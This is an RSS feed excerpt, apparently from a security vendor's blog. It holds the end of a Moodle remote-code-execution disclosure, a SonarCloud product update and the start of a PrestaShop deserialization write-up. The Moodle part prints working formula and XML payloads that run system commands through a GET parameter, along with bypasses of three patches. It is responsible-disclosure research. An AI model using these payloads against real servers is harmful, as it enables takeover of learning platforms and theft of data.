1945    }&lt;/code&gt;&lt;/pre&gt;&lt;h2&gt;Developing a Bypass&lt;/h2&gt;&lt;p&gt;As you can see in the source code above, the last &lt;code&gt;preg_match()&lt;/code&gt; call, here on line 1939, is very strict and will disallow any characters except &lt;code&gt;-+/*%&amp;gt;:^\~&amp;lt;?=&amp;amp;|!.0-9eE&lt;/code&gt; left in our formula. However, a previous &lt;code&gt;str_replace()&lt;/code&gt; nested inside a while loop on line &lt;code&gt;1927&lt;/code&gt; will replace all placeholders in the formula similar to &lt;code&gt;{x}&lt;/code&gt; for a &lt;code&gt;1&lt;/code&gt; &lt;em&gt;recursively&lt;/em&gt;. The corresponding regular expression indicates that placeholder &lt;em&gt;names&lt;/em&gt; are barely limited in their character set considering that &lt;code&gt;{system(ls)}&lt;/code&gt; is a valid placeholder &lt;em&gt;and will also be replaced by 1&lt;/em&gt; on line &lt;code&gt;1928&lt;/code&gt;. This fact points towards a weakness because it will hide all potentially malicious characters from the securing &lt;code&gt;preg_match()&lt;/code&gt; call before the function would return &lt;code&gt;false&lt;/code&gt; indicating a valid formula. Using this technique to hide malicious code and combining it with &lt;em&gt;nested placeholders&lt;/em&gt; an exploitable vulnerability occurs.&lt;/p&gt;&lt;table&gt;&lt;tbody&gt;
  &lt;tr&gt;&lt;td&gt;&lt;strong&gt;Nr.&lt;/strong&gt;&lt;/td&gt;&lt;td&gt;&lt;strong&gt;Math Formula&lt;/strong&gt;&lt;/td&gt;&lt;td&gt;&lt;strong&gt;validity&lt;/strong&gt;&lt;/td&gt;&lt;td&gt;&lt;strong&gt;Argument of `eval()`&lt;/strong&gt;&lt;/td&gt;&lt;td&gt;&lt;strong&gt;result of `eval()`&lt;/strong&gt;&lt;/td&gt;&lt;/tr&gt;
  &lt;tr&gt;&lt;td&gt;1&lt;/td&gt;&lt;td&gt;&amp;nbsp;`$_GET[0]`&lt;/td&gt;&lt;td&gt;illegal&lt;/td&gt;&lt;td&gt;&lt;br&gt;&lt;/td&gt;&lt;td&gt;&lt;br&gt;&lt;/td&gt;&lt;/tr&gt;
  &lt;tr&gt;&lt;td&gt;2&lt;/td&gt;&lt;td&gt;{a.`$_GET[0]`}&lt;/td&gt;&lt;td&gt;valid&lt;/td&gt;&lt;td&gt;$str = 1.2;&lt;/td&gt;&lt;td&gt;eval success&lt;/td&gt;&lt;/tr&gt;
  &lt;tr&gt;&lt;td&gt;3&lt;/td&gt;&lt;td&gt;&amp;nbsp;{a.`$_GET[0]`;{x}}&amp;nbsp;&lt;/td&gt;&lt;td&gt;valid&lt;/td&gt;&lt;td&gt;$str= &amp;amp;#x7b;&amp;amp;#x61;&amp;amp;#x2e;&amp;amp;#x60;&amp;amp;#x24;&amp;amp;#x5f;&amp;amp;#x47;&amp;amp;#x45;&amp;amp;#x54;&amp;amp;#x5b;&amp;amp;#x30;&amp;amp;#x5d;&amp;amp;#x60;&amp;amp;#x3b;&amp;amp;#x31;&amp;amp;#x2e;&amp;amp;#x32;&amp;amp;#x7d;&amp;amp;#x3b;&lt;/td&gt;&lt;td&gt;PHP Syntax Error &apos;{&apos;&lt;/td&gt;&lt;/tr&gt;
  &lt;tr&gt;&lt;td&gt;4&lt;/td&gt;&lt;td&gt;&amp;nbsp;/*{a*/`$_GET[0]`;//{x}}&lt;/td&gt;&lt;td&gt;valid&lt;/td&gt;&lt;td&gt;$str= &amp;amp;#x2f;&amp;amp;#x2a;&amp;amp;#x7b;&amp;amp;#x61;&amp;amp;#x2a;&amp;amp;#x2f;&amp;amp;#x60;&amp;amp;#x24;&amp;amp;#x5f;&amp;amp;#x47;&amp;amp;#x45;&amp;amp;#x54;&amp;amp;#x5b;&amp;amp;#x30;&amp;amp;#x5d;&amp;amp;#x60;&amp;amp;#x3b;&amp;amp;#x2f;&amp;amp;#x2f;1.2&amp;amp;#x7d;;&lt;/td&gt;&lt;td&gt;eval success&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;p&gt;The first malicious formula is denied by the validator &lt;code&gt;qtype_calculated_find_formula_errors()&lt;/code&gt;. If we make it a placeholder and embed it in curly brackets as seen with the second payload, the validator&lt;em&gt; will not detect our attack&lt;/em&gt; but Moodle will simply replace our placeholder with a random number &lt;code&gt;1.2&lt;/code&gt; &lt;em&gt;before &lt;/em&gt;it reaches &lt;code&gt;eval()&lt;/code&gt;. However, if we introduce another placeholder and nest it right into the one we already have, &lt;em&gt;Moodle will only substitute the inner placeholder&lt;/em&gt; and a dangerous leftover placeholder will reach &lt;code&gt;eval()&lt;/code&gt; as seen on the third row of the table. At this point, our payload will throw a PHP syntax error due to the fact that the input of &lt;code&gt;eval()&lt;/code&gt; is invalid PHP code. Therefore, we only have to correct the PHP syntax by excluding the invalid parts from the PHP parser with PHP comments resulting in our final valid formula on row four which finally allows code execution via the GET parameter 0.&lt;/p&gt;&lt;p&gt;&lt;a href=&quot;https://youtu.be/GixMjOB_ufA&quot;&gt;Watch the video&lt;/a&gt;&lt;/p&gt;&lt;h2&gt;Adapting to insufficient patches&lt;/h2&gt;&lt;p&gt;After reporting the issue to Moodle they immediately responded and proposed a patch to quickly resolve the issue. However, after re-scanning the application with RIPS, &lt;em&gt;our SAST solution still detected the same vulnerability pointing towards a bypass of the freshly introduced patch&lt;/em&gt;. After inspecting the associated source code and scanner results more precisely we were able to bypass the patch and achieve the same impact as before. This was possible for the first three proposed patches and we explain each bypass in the next sub-sections.&lt;/p&gt;&lt;h3&gt;First patch: Blacklist&lt;/h3&gt;&lt;p&gt;The first patch proposed by the Moodle developers was based on the idea of denying formulas containing PHP comments used in the exploit payload. As you can see in the code, the patch prepended a for each loop that checks if the formula contains specific strings.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;&lt;strong&gt;question/type/calculated/questiontype.php&lt;/strong&gt;&lt;/p&gt;&lt;pre&gt;&lt;code&gt;1923    function qtype_calculated_find_formula_errors($formula) {
1924        foreach ([&apos;//&apos;, &apos;/*&apos;, &apos;#&apos;] as $commentstart) {
1925            if (strpos($formula, $commentstart) !== false) {
1926                return get_string(&apos;illegalformulasyntax&apos;,
1927                    &apos;qtype_calculated&apos;, 
1928                    $commentstart);
1929            }
1930        }&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;This patch renders our current payload useless as the validator function &lt;code&gt;qtype_calculated_find_formula_errors()&lt;/code&gt; detects the strings which initiate PHP comments &lt;code&gt;//&lt;/code&gt;, &lt;code&gt;/*&lt;/code&gt;, &lt;code&gt;#&lt;/code&gt; used in our &lt;a href=&quot;https://blog.ripstech.com/2018/moodle-remote-code-execution/#fourth&quot;&gt;current exploit payload&lt;/a&gt;. This patch implemented a black-list approach and was based on the assumption that no attacker was able to correct the invalid PHP syntax of row and column 3 of the table above into valid PHP syntax without the usage of comments. However, the patch was insufficient and allowed exploitation of a more sophisticated version of this payload.&lt;/p&gt;&lt;table&gt;&lt;tbody&gt;
  &lt;tr&gt;&lt;td&gt;&lt;strong&gt;Math Formula&lt;/strong&gt;&lt;/td&gt;&lt;td&gt;&lt;strong&gt;Argument of eval&lt;/strong&gt;&lt;/td&gt;&lt;/tr&gt;
  &lt;tr&gt;&lt;td&gt;1?&amp;gt;&amp;lt;?=log(1){a.`$_GET[0]`.({x})}?&amp;gt;&lt;/td&gt;&lt;td&gt;$str = &amp;amp;#x31;&amp;amp;#x3f;&amp;amp;#x3e;&amp;amp;#x3c;&amp;amp;#x3f;&amp;amp;#x3d;&amp;amp;#x6c;&amp;amp;#x6f;&amp;amp;#x67;&amp;amp;#x28;&amp;amp;#x31;&amp;amp;#x29;&amp;amp;#x7b;&amp;amp;#x61;&amp;amp;#x2e;&amp;amp;#x60;&amp;amp;#x24;&amp;amp;#x5f;&amp;amp;#x47;&amp;amp;#x45;&amp;amp;#x54;&amp;amp;#x5b;&amp;amp;#x30;&amp;amp;#x5d;&amp;amp;#x60;&amp;amp;#x2e;&amp;amp;#x28;&amp;amp;#x7b;&amp;amp;#x78;&amp;amp;#x7d;&amp;amp;#x29;&amp;amp;#x7d;&amp;amp;#x3f;&amp;amp;#x3e;;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;h3&gt;Second patch: Deny nested placeholders&lt;/h3&gt;&lt;p&gt;The idea of the second patch was to prevent nested placeholders, which are used in our payload, &lt;em&gt;by removing the “recursion”&lt;/em&gt; when detecting placeholders. But again, re-scanning the application with RIPS still reported the same vulnerability which led us to look at the following new code lines more precisely.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;&lt;strong&gt;question/type/calculated/questiontype.php&lt;/strong&gt;&lt;/p&gt;&lt;pre&gt;&lt;code&gt;1533    public function find_dataset_names($text) {
1534        // Returns the possible dataset names found in the text as an array.
1535        // The array has the dataset name for both key and value.
1536        if (preg_match_all(&amp;#x27;~\\{([[:alpha:]][^&amp;#x3E;} &amp;#x3C;{&amp;#x22;\&amp;#x27;]*)\\}~&amp;#x27;,$text,$regs)) {
1537            $datasetnames = array_unique($regs[1]);
1538            return array_combine($datasetnames, $datasetnames);
1539        } else {
1540            return [];
1541        }
1542    }
1543    [...]
1544    function qtype_calculated_find_formula_errors($formula) {
1545        $datasetnames = find_dataset_names($formula);
1546        foreach ($datasetnames as $datasetname) {
1547            $formula = str_replace(&amp;#x27;{&amp;#x27;.$datasetname.&amp;#x27;}&amp;#x27;, &amp;#x27;1&amp;#x27;, $formula);
1548        }
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Whenever we input a nested placeholder &lt;code&gt;{a{b}}&lt;/code&gt; the method &lt;code&gt;qtype_calculated_find_formula_errors()&lt;/code&gt; now solely replaces the &lt;code&gt;{b}&lt;/code&gt; as a placeholder and the leftover formula &lt;code&gt;{a1}&lt;/code&gt; is detected as illegal. However, if we alter our formula to &lt;code&gt;{b}{a1}{a{b}}&lt;/code&gt; exactly two placeholders &lt;code&gt;{b}&lt;/code&gt; and &lt;code&gt;{a1}&lt;/code&gt; are detected and returned by the function &lt;code&gt;find_dataset_names()&lt;/code&gt;. One after another, each placeholder is replaced in the &lt;code&gt;foreach&lt;/code&gt; loop beginning with our{b}and leaving our formula with &lt;code&gt;1{a1}{a1}&lt;/code&gt;. Finally, after replacing &lt;code&gt;{a1}&lt;/code&gt; the formula equals &lt;code&gt;111&lt;/code&gt; and the validator approves the nested placeholders and thus breaking the intention of this patch. With this trick in mind we only had to adapt our last payload appropriately&lt;em&gt; to get the same critical effects as before:&lt;/em&gt;&lt;/p&gt;&lt;table&gt;&lt;tbody&gt;
  &lt;tr&gt;&lt;td&gt;&lt;strong&gt;formula&lt;/strong&gt;&lt;/td&gt;&lt;td&gt;/*{x}{a*/`$_GET[0]`/*(1)//}{a*/`$_GET[0]`/*({x})//}*/&lt;/td&gt;&lt;/tr&gt;
  &lt;tr&gt;&lt;td&gt;&lt;strong&gt;input of eval&lt;/strong&gt;&lt;/td&gt;&lt;td&gt;&amp;amp;#x24;&amp;amp;#x73;&amp;amp;#x74;&amp;amp;#x72;&amp;amp;#x20;&amp;amp;#x3d;&amp;amp;#x20;&amp;amp;#x2f;&amp;amp;#x2a;&amp;amp;#x7b;&amp;amp;#x78;&amp;amp;#x7d;&amp;amp;#x7b;&amp;amp;#x61;&amp;amp;#x2a;&amp;amp;#x2f;&amp;amp;#x60;&amp;amp;#x24;&amp;amp;#x5f;&amp;amp;#x47;&amp;amp;#x45;&amp;amp;#x54;&amp;amp;#x5b;&amp;amp;#x30;&amp;amp;#x5d;&amp;amp;#x60;&amp;amp;#x2f;&amp;amp;#x2a;&amp;amp;#x28;&amp;amp;#x31;&amp;amp;#x29;&amp;amp;#x2f;&amp;amp;#x2f;&amp;amp;#x7d;&amp;amp;#x7b;&amp;amp;#x61;&amp;amp;#x2a;&amp;amp;#x2f;&amp;amp;#x60;&amp;amp;#x24;&amp;amp;#x5f;&amp;amp;#x47;&amp;amp;#x45;&amp;amp;#x54;&amp;amp;#x5b;&amp;amp;#x30;&amp;amp;#x5d;&amp;amp;#x60;&amp;amp;#x2f;&amp;amp;#x2a;&amp;amp;#x28;&amp;amp;#x7b;&amp;amp;#x78;&amp;amp;#x7d;&amp;amp;#x29;&amp;amp;#x2f;&amp;amp;#x2f;&amp;amp;#x7d;&amp;amp;#x2a;&amp;amp;#x2f;&amp;amp;#x3b;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;h3&gt;Third patch: Blacklist and Linear Replacement&lt;/h3&gt;&lt;p&gt;The third patch combines the first two approaches and looked really good in preventing nested placeholders. However, if an attacker targeted the &lt;em&gt;import feature&lt;/em&gt; of the Quiz component and re-imported a maliciously sabotaged XML question-file, the attacker was able to control the &lt;code&gt;$dataset&lt;/code&gt; argument of &lt;code&gt;substitute_variables()&lt;/code&gt;(see above) and nullify the placeholder substitution.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;&lt;strong&gt;Abstract malicious XML file&lt;/strong&gt;&lt;/p&gt;&lt;pre&gt;&lt;code&gt;1942    &lt;quiz&gt;
1943        &lt;question type=&quot;calculated&quot;&gt;
1944            [...]
1945            &lt;answer fraction=&quot;100&quot;&gt;
1946                &lt;text&gt;log(1){system($_GET[0])}&lt;/text&gt;
1947            &lt;/answer&gt;
1948        &lt;/question&gt;
1949        &lt;dataset_definitions&gt;
1950            &lt;dataset_definition&gt;
1951                &lt;name&gt;&lt;text&gt;x&lt;/text&gt;&lt;/name&gt;
1952            &lt;/dataset_definition&gt;
1953        &lt;/dataset_definitions&gt;
1954    &lt;/quiz&gt;&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;The highlighted lines show that the XML file defines the name of the placeholder &lt;code&gt;{x}&lt;/code&gt; on line &lt;code&gt;1951&lt;/code&gt;. This placeholder is &lt;em&gt;never used&lt;/em&gt; in the formula on line &lt;code&gt;1946&lt;/code&gt;. This will nullify the substitution of our dangerous placeholder &lt;code&gt;{system($_GET[0])}&lt;/code&gt; and result in the same code injection vulnerability which we had on the previous patches.&lt;/p&gt;&lt;h3&gt;Fourth patch&lt;/h3&gt;&lt;p&gt;Unfortunately, we were not able to fully verify the completeness of the fourth patch due to time restrictions. We are going to update this blog post if this changes and of course notify the developers beforehand.&lt;br/&gt;&lt;/p&gt;&lt;h2&gt;Timetable&lt;/h2&gt;&lt;table&gt;&lt;tbody&gt;
  &lt;tr&gt;&lt;td&gt;&lt;strong&gt;Date&lt;/strong&gt;&lt;/td&gt;&lt;td&gt;&lt;strong&gt;Event&lt;/strong&gt;&lt;/td&gt;&lt;/tr&gt;
  &lt;tr&gt;&lt;td&gt;01/May/18&lt;/td&gt;&lt;td&gt;First Contact with Vendor&lt;/td&gt;&lt;/tr&gt;
  &lt;tr&gt;&lt;td&gt;01/May/18&lt;/td&gt;&lt;td&gt;Insufficient patch #1 proposed&lt;/td&gt;&lt;/tr&gt;
  &lt;tr&gt;&lt;td&gt;02/May/18&lt;/td&gt;&lt;td&gt;Bypass #1 reported and acknowledged&lt;/td&gt;&lt;/tr&gt;
  &lt;tr&gt;&lt;td&gt;07/May/18&lt;/td&gt;&lt;td&gt;Insufficient patch #2 proposed&lt;/td&gt;&lt;/tr&gt;
  &lt;tr&gt;&lt;td&gt;08/May/18&lt;/td&gt;&lt;td&gt;Bypass #2 reported and acknowledged&lt;/td&gt;&lt;/tr&gt;
  &lt;tr&gt;&lt;td&gt;12/May/18&lt;/td&gt;&lt;td&gt;Insufficient patch #3 proposed&lt;/td&gt;&lt;/tr&gt;
  &lt;tr&gt;&lt;td&gt;15/May/18&lt;/td&gt;&lt;td&gt;Bypass #3 proposed and acknowledged&lt;/td&gt;&lt;/tr&gt;
  &lt;tr&gt;&lt;td&gt;16/May/18&lt;/td&gt;&lt;td&gt;Patch #4 proposed&lt;/td&gt;&lt;/tr&gt;
  &lt;tr&gt;&lt;td&gt;17/May/18&lt;/td&gt;&lt;td&gt;Fix released&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;h2&gt;Summary&lt;/h2&gt;&lt;p&gt;In this post, we looked at a critical vulnerability in Moodle. Moodle is often integrated into larger systems joining a WebMailer, eLearning Platforms and further technologies into a single architecture with shared account credentials spanning a great attack surface for &lt;em&gt;unauthenticated&lt;/em&gt; attackers to &lt;a href=&quot;https://www.kaspersky.com/blog/what-is-spearphishing/20412/&quot;&gt;phish&lt;/a&gt; or extract the credentials of a teacher account. On some occasions, an automated service for requesting a Moodle course exists, which will leverage a student right into the position where he can execute malicious software of his choice and grade himself a long-term &lt;em&gt;A&lt;/em&gt; in his attended university-courses.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;With the help of automated security analysis, not only the vulnerability itself but also the insufficient patches were reported within 10 minutes which can save many hours of rework. We would like to thank the Moodle team for their very fast response and collaboration on patching the issue. We highly recommend updating your instances to the &lt;a href=&quot;https://github.com/moodle/moodle/releases&quot;&gt;newest version&lt;/a&gt; immediately.&lt;/p&gt;&lt;h3&gt;Related Posts&lt;/h3&gt;&lt;ul&gt;&lt;li&gt;&lt;a href=&quot;https://blog.sonarsource.com/roundcube-command-execution-via-email&quot;&gt;Roundcube 1.2.2: Command Execution via Email&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href=&quot;https://blog.sonarsource.com/why-mail-is-dangerous-in-php&quot;&gt;Why mail() is dangerous in PHP&lt;/a&gt;&lt;/li&gt;&lt;/ul&gt;</content:encoded></item><item><title><![CDATA[Import issues of your favorite linters in SonarCloud!]]></title><description><![CDATA[Over the past 2 weeks, the following new features were deployed on SonarCloud: import of issues from external linters with built-in support for TypeScript projects, support for the Go language, graceful handling of username change, first version of the GitHub Application, new rules for Python, Java and Swift]]></description><link>https://www.sonarsource.com/blog/import-issues-of-your-favorite-linters-in-sonarcloud</link><guid isPermaLink="false">943a0d2f-d5b6-5b47-a63f-0d522af71a92</guid><dc:creator><![CDATA[Fabrice Bellingard]]></dc:creator><pubDate>Mon, 04 Jun 2018 00:00:00 GMT</pubDate><content:encoded>&lt;h2&gt;TSLint and ESLint issues for TypeScript projects&lt;/h2&gt;&lt;p&gt;If you are a TypeScript developer who has already tried SonarCloud, you probably wondered:&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Why does SonarCloud not report TSLint issues? I don&amp;#x27;t want to choose between SonarCloud rules and TSLint rules, I want the best of both worlds!&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;We understand that TSLint and ESLint are very popular linters in the TypeScript world, used inside the IDE (probably along with &lt;a href=&quot;https://www.sonarlint.org&quot;&gt;SonarLint&lt;/a&gt;!) to enforce good coding practices. This why it was obvious that SonarCloud should also report issues coming from them.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Now, when you analyze your TypeScript project with SonarCloud, you can &lt;a href=&quot;https://docs.sonarqube.org/display/PLUG/Importing+TSLint+and+ESLint+issues+for+TypeScript+files&quot;&gt;configure it to import TSLint and ESLint reports&lt;/a&gt; and make the issues appear as first-class citizens inside the service:&lt;/p&gt;&lt;img src=&quot;https://assets-eu-01.kc-usercontent.com:443/02cb980b-5a8a-016f-80ee-dce623e76463/7364b8e9-bc4e-4a59-b4c7-4711dedd057a/body-6c20f8be41b7dc93435464b17fa4bfe10a7d7ab0_sonarcloud-tslint-issues.png&quot; /&gt;&lt;p&gt;Once reported on SonarCloud, those issues are tracked like any other issue, they can be assigned to developers, be tagged, ... etc. The only differences with SonarCloud built-in rules are:&lt;/p&gt;&lt;ul&gt;&lt;li&gt;the configuration for TSLint or ESLint rules cannot be done through the &amp;quot;Quality Profiles&amp;quot; page, it is based exclusively on the native configuration files available in the code (&lt;code&gt;tsling.config&lt;/code&gt; for instance)&lt;/li&gt;&lt;li&gt;issues imported from those linters cannot be resolved as false-positive or won&amp;#x27;t fix in the UI&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Check out our &lt;a href=&quot;https://sonarcloud.io/dashboard?id=io.sonarcloud.examples.typescript-sqscanner-travis-project&quot;&gt;sample TS project on SonarCloud&lt;/a&gt;, and look into &lt;a href=&quot;https://github.com/SonarSource/sonarcloud_example_typescript-sqscanner-travis&quot;&gt;its source code&lt;/a&gt; to get started quickly!&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;It&amp;#x27;s important to note that this feature is part of a bigger picture: importing issues from external linters is becoming mainstream in SonarCloud. It is already in the plans to have built-in support for other linters, so stay tuned!&lt;/p&gt;&lt;h2&gt;Go go go!&lt;/h2&gt;&lt;p&gt;You&amp;#x27;ve been asking for Go support over the last year? Go is the latest addition to SonarCloud in terms of supported languages - which now brings to 17 the number of languages available out of the box!&lt;/p&gt;&lt;img src=&quot;https://assets-eu-01.kc-usercontent.com:443/02cb980b-5a8a-016f-80ee-dce623e76463/98215a2b-082b-4587-a0bc-e3cb44396e8f/body-cb3e537cf3dde6995fd10d42030074341be62e9f_go-1.0-issue.png&quot; /&gt;&lt;p&gt;You get everything you need to scan your Go projects: &lt;a href=&quot;https://rules.sonarsource.com/go&quot;&gt;40 rules&lt;/a&gt;, core metrics (including &lt;a href=&quot;https://blog.sonarsource.com/cognitive-complexity-because-testability-understandability&quot;&gt;Cognitive Complexity&lt;/a&gt;), coverage import and duplication detection.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Happy Go coding!&lt;/p&gt;&lt;h2&gt;Birth of the SonarCloud GitHub application&lt;/h2&gt;&lt;p&gt;If you are analyzing your code hosted on GitHub, you probably activated the analysis and decoration of pull requests like described in &lt;a href=&quot;https://blog.sonarsource.com/sonarcloud-loves-your-build-pipeline&quot;&gt;our previous product news&lt;/a&gt;. We hope you like it!&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;To make things easier, we have now published the first version of the &lt;a href=&quot;https://github.com/apps/sonarcloud&quot;&gt;SonarCloud GitHub application&lt;/a&gt; which currently does only one thing: it removes the need to configure a GitHub token on your project to activate the PR decoration. You just need to install the application on your organizations (by hitting https://github.com/apps/sonarcloud), get rid of the user token you might have set on your projects, and that&amp;#x27;s all. Comments on your PR will then be authored by SonarCloud itself!&lt;/p&gt;&lt;img src=&quot;https://assets-eu-01.kc-usercontent.com:443/02cb980b-5a8a-016f-80ee-dce623e76463/543f3ee7-5807-4f24-a969-8cce74e460b9/body-e147983d03b0fe4183743a6bcc7236f0ca503cf7_sonarcloud-github-app-comment.png&quot; /&gt;&lt;p&gt;Don&amp;#x27;t forget that it is still up to you to trigger the analysis, either using our &lt;a href=&quot;https://docs.travis-ci.com/user/sonarcloud/&quot;&gt;Travis Add-on&lt;/a&gt; or specifying the relevant parameters if you are on another CI service.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;This first version of the GitHub application is just the beginning of many improvements to make your lives easier! We plan to use it to greatly improve the overall user experience in SonarCloud when you come from GitHub: linking repositories and projects to simplify the creation and configuration of analyses, better team onboarding, and at some point automatic triggering of analyses by SonarCloud itself. Quite exciting times!&lt;/p&gt;&lt;h2&gt;Graceful handling of username change&lt;/h2&gt;&lt;p&gt;Over the past months, we have had many questions from users who updated their usernames on GitHub or Bitbucket Cloud:&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Help! I renamed my GitHub account and lost everything on SonarCloud!&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;In fact, nothing was lost. This was just a limitation: SonarCloud could not detect that a username had been changed in the other systems, and therefore was creating a brand new user on the service.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;This is now the past! SonarCloud can now detect this situation, and seamlessly update your SonarCloud accordingly.&lt;/p&gt;&lt;h2&gt;New rules for Python, Java and Swift&lt;/h2&gt;&lt;p&gt;If you are developing with the following languages, you might be interested in the new rules that were deployed recently on SonarCloud:&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;a href=&quot;https://www.sonarsource.com/resources/product-news/news.html#sonarpython-1.10&quot;&gt;146 new rules for Python&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href=&quot;https://www.sonarsource.com/resources/product-news/news.html#sonarjava-53&quot;&gt;9 new rules for Java - plus the support for Java 10!&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href=&quot;https://www.sonarsource.com/resources/product-news/news.html#sonar-swift-33&quot;&gt;13 new rules for Swift - and support for coverage generated by Xcode 7+&lt;/a&gt;&lt;/li&gt;&lt;/ul&gt;</content:encoded></item><item><title><![CDATA[A Salesmans Code Execution: PrestaShop 1.7.2.4]]></title><description><![CDATA[PrestaShop is one of the most popular e-commerce solutions. We detected a highly critical vulnerability that allows to execute arbitrary code on any installation with version <= 1.7.2.4. In this technical blog post we present the vulnerability and the exploitation technique that could have been misused by attackers (CVE-2018-20717).]]></description><link>https://www.sonarsource.com/blog/prestashop-remote-code-execution</link><guid isPermaLink="false">4ca5f2ba-6c4d-5c07-bd87-cf1ec6b600b3</guid><dc:creator><![CDATA[Robin Peraglie]]></dc:creator><pubDate>Sun, 06 May 2018 22:00:00 GMT</pubDate><content:encoded>&lt;h2&gt;The Impact &lt;/h2&gt;&lt;p&gt;With more than &lt;strong&gt;270,000&lt;/strong&gt; running instances, PrestaShop it is one of the &lt;a href=&quot;https://w3techs.com/technologies/overview/content_management/all&quot;&gt;top 10&lt;/a&gt; most used content management systems in the Web. Additionally to the classical software download, &lt;a href=&quot;https://www.prestashop.com/prestashop-ready&quot;&gt;PrestaShop Ready&lt;/a&gt; offers to rent an online shop and to get administrative access to pre-hosted PrestaShop instances. From the perspective of attackers these e-commerce systems are very attractive targets because thousands of customers enter sensitive payment information.&lt;/p&gt;&lt;p&gt;The security bug is located in the &lt;em&gt;orders&lt;/em&gt; section of the PrestaShops backend which requires access privileges for a &lt;strong&gt;Salesman&lt;/strong&gt;, &lt;strong&gt;Logistician&lt;/strong&gt;, or &lt;strong&gt;Admin&lt;/strong&gt; account. For all of these three user roles, the read permission to the orders section is &lt;a href=&quot;http://doc.prestashop.com/display/PS16/Profile+permissions&quot;&gt;enabled by default&lt;/a&gt;. This is the only requirement for exploitation.&lt;/p&gt;&lt;p&gt;Matching this requirement an attacker can turn a &lt;a href=&quot;https://blog-old.sonarsource.com/prestashop-remote-code-execution/&quot;&gt;&lt;em&gt;PHP Object Injection&lt;/em&gt;&lt;/a&gt; vulnerability into a &lt;em&gt;remote code execution&lt;/em&gt; vulnerability that allows to perform further attacks and to steal sensitive data. The attack is especially critical for PrestaShop Ready as an adversary can meet the requirement by setting up a free PrestaShop Ready trial account and potentially execute the exploit against the &lt;em&gt;PrestaShop Ready&lt;/em&gt; cloud.&lt;/p&gt;&lt;p&gt;&lt;a href=&quot;https://www.youtube.com/embed/Alkm6fuAPVs&quot;&gt;Watch the video&lt;/a&gt;&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;h2&gt;The Vulnerability&lt;/h2&gt;&lt;p&gt;PrestaShop uses the PHP function &lt;code&gt;unserialize()&lt;/code&gt; with user input which is a known bad practice and a security risk. This introduces &lt;a href=&quot;https://blog-old.sonarsource.com/prestashop-remote-code-execution/&quot;&gt;PHP object injection&lt;/a&gt; vulnerabilities. But in order to prevent these issues, PrestaShop added a wrapper method &lt;code&gt;unSerialize()&lt;/code&gt; to its code base that tries to prevent malicious injections.&lt;/p&gt;&lt;p&gt;&lt;strong&gt;classes/Tools.php&lt;/strong&gt;&lt;/p&gt;&lt;pre&gt;&lt;code&gt;3359    public static function unSerialize($serialized, $object = false)
3360    {
3361        if (is_string($serialized) &amp;amp;&amp;amp; (strpos($serialized, &apos;O:&apos;) === false
3362	        || !preg_match(&apos;/(^|;|{|})O:[0-9]+:&amp;quot;/&apos;, $serialized)) &amp;amp;&amp;amp; !$object
3363	        || $object) {
3364            return @unserialize($serialized);
3365        }
3366
3367        return false;
3368    }&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Based on the second argument &lt;code&gt;$object&lt;/code&gt; of this method, an additional security check is added (enabled per default). This additional security check considers any &lt;code&gt;$serialized&lt;/code&gt; input as &lt;em&gt;harmless&lt;/em&gt; if it does not match a specific pattern. The regular expression &lt;code&gt;O:[0-9]+:&amp;quot;&lt;/code&gt; in line 3362 tries to detect if an attacker injected serialized objects which is a known exploitation technique.&lt;/p&gt;&lt;p&gt;However, this black-list security approach is insufficient since not all serialized object strings match this regular expression. Similar to &lt;em&gt;Challenge 11&lt;/em&gt; of our &lt;a href=&quot;https://www.ripstech.com/php-security-calendar-2017/&quot;&gt;PHP Advent Calendar 2017&lt;/a&gt;, it is possible to bypass the validation check and to inject &lt;em&gt;any&lt;/em&gt; serialized object. This can be achieved by adding &lt;code&gt;+&lt;/code&gt; characters to the length values of the serialized object string. These &lt;code&gt;+&lt;/code&gt; characters will not break the &lt;code&gt;unserialize()&lt;/code&gt; result but will bypass the matching pattern of the regular expression. The following table illustrates this effect:&lt;/p&gt;&lt;img src=&quot;https://assets-eu-01.kc-usercontent.com:443/02cb980b-5a8a-016f-80ee-dce623e76463/b6df369d-8a0c-4028-b197-40118eda27b0/Screenshot%202023-02-10%20at%2017.09.09.png&quot; /&gt;&lt;p&gt;As a result, an attacker can inject nested objects in their serialized format and obfuscate the true malicious nature from the regular expression. The then deserialized PHP objects can force PHP to execute code in specific &lt;em&gt;magic&lt;/em&gt; methods. You can find out more about 